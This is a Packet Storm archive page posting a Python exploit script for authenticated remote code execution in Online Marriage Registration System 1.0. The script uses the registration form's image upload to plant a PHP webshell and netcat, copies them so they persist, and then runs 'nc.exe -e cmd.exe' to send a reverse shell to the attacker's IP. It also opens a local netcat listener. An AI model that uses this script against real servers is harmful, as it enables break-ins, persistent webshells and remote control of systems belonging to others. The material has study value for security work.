what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Online Marriage Registration System 1.0 Remote Code Execution

Online Marriage Registration System 1.0 Remote Code Execution
Posted Dec 15, 2020
Authored by Andrea Bruschi

Online Marriage Registration System version 1.0 authenticated remote code execution exploit. Original discovery of remote code execution in this version was discovered by Selim Enes Karaduman.

tags | exploit, remote, code execution
SHA-256 | fb9d5797bad77ed8c6a1484c739b1398a4d81951087d21f8db5fe249b8a2b2e7

Online Marriage Registration System 1.0 Remote Code Execution

Change Mirror Download
# Exploit Title: Online Marriage Registration System (OMRS) 1.0 - Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020-14-12
# Exploit Author: Andrea Bruschi - www.andreabruschi.net
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/online-marriage-registration-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 / Xampp Server and Wamp Server

#!/usr/bin/python3

import requests
import sys
import os
import iterm2
import AppKit

url = sys.argv[1]
mobile = sys.argv[2]
password = sys.argv[3]

# CONFIGURE HERE
reverse_ip = '192.168.xx.xx'
reverse_port = 4444

# CONFIGURE HERE
# SCRIPT WILL DOWNLOAD NETCAT AND A WEBSHELL
netcat_path = '/local/path/to/nc.exe'
shell_path = '/local/path/to/shell.php'


def login(url, mobile, password):

url = "{}/user/login.php".format(url)
payload = {'mobno':mobile, 'password':password, 'login':''}
req = requests.post(url, data=payload)
cookie = req.cookies['PHPSESSID']

return cookie


def upload(url, cookie, file=None):

f = open(file, 'rb')
filename, ext = os.path.splitext(file)

if "exe" in ext:
content_type = 'application/octet-stream'
else:
content_type = 'application/x-php'

cookie = {'PHPSESSID':cookie}
url = "{}/user/marriage-reg-form.php".format(url)

files = {'husimage': (filename + ext, f, content_type, {'Expires': '0'}), 'wifeimage':('test.jpg','','image/jpeg')}
payload = {'dom':'05/01/2020','nofhusband':'test', 'hreligion':'test', 'hdob':'05/01/2020','hsbmarriage':'Bachelor','haddress':'test','hzipcode':'test','hstate':'test','hadharno':'test','nofwife':'test','wreligion':'test','wsbmarriage':'Bachelor','waddress':'test','wzipcode':'test','wstate':'test','wadharno':'test','witnessnamef':'test','waddressfirst':'test','witnessnames':'test','waddresssec':'test','witnessnamet':'test','waddressthird':'test','submit':''}
req = requests.post(url, data=payload, cookies=cookie, files=files)
print(f'[+] File {ext} uploaded')


def get_remote_file(url, ext):

url = "{}/user/images".format(url)
req = requests.get(url)
junk = req.text.split(ext)[0]
f = junk[-42:] + ext

return f


def persistence(url, webshell, netcat):

# webshell
payload_w = "copy /y {} shell.php".format(webshell)
url_w = "{}/user/images/{}?cmd={}".format(url, webshell, payload_w)
req_w = requests.get(url_w)

# netcat
payload_n = "copy /y {} nc.exe".format(netcat)
url_n = "{}/user/images/{}?cmd={}".format(url, webshell, payload_n)
req_n= requests.get(url_n)

print('[+] Persistence enabled')


def get_reverse(url, ip, port):

payload = "nc.exe -nv {} {} -e cmd.exe".format(ip, port)
url_r = "{}/user/images/shell.php?cmd={}".format(url, payload)
print('[+] Reverse shell incoming!')
req = requests.get(url_r)


# CONFIGURE HERE
# THE SCRIPT WILL LAUNCH iTerm2 WINDOW RUNNING NC LISTENER
# YOU CAN ALSO COMMENT THE CALL TO THIS FUNCTION BELOW AND START NC MANUALLY
def start_listener(port):

# Launch the app
AppKit.NSWorkspace.sharedWorkspace().launchApplication_("iTerm2")

async def main(connection):
app = await iterm2.async_get_app(connection)
window = app.current_window
if window is not None:
cmd = "nc -lnv {}".format(port)
await window.async_create_tab(command=cmd)
else:
print("No current window")

iterm2.run_until_complete(main)



if __name__ == "__main__":

if len(sys.argv < 3):
print("Usage: exploit.py <URI> <MOBILE> <PASSWORD>")
else:
cookie = login(url, mobile, password)
upload(url, cookie, netcat_path)
upload(url, cookie, shell_path)
webshell = get_remote_file(url, '.php')
netcat = get_remote_file(url, '.exe')
persistence(url, webshell, netcat)

start_listener(reverse_port)
get_reverse(url, reverse_ip, reverse_port)

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    10 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close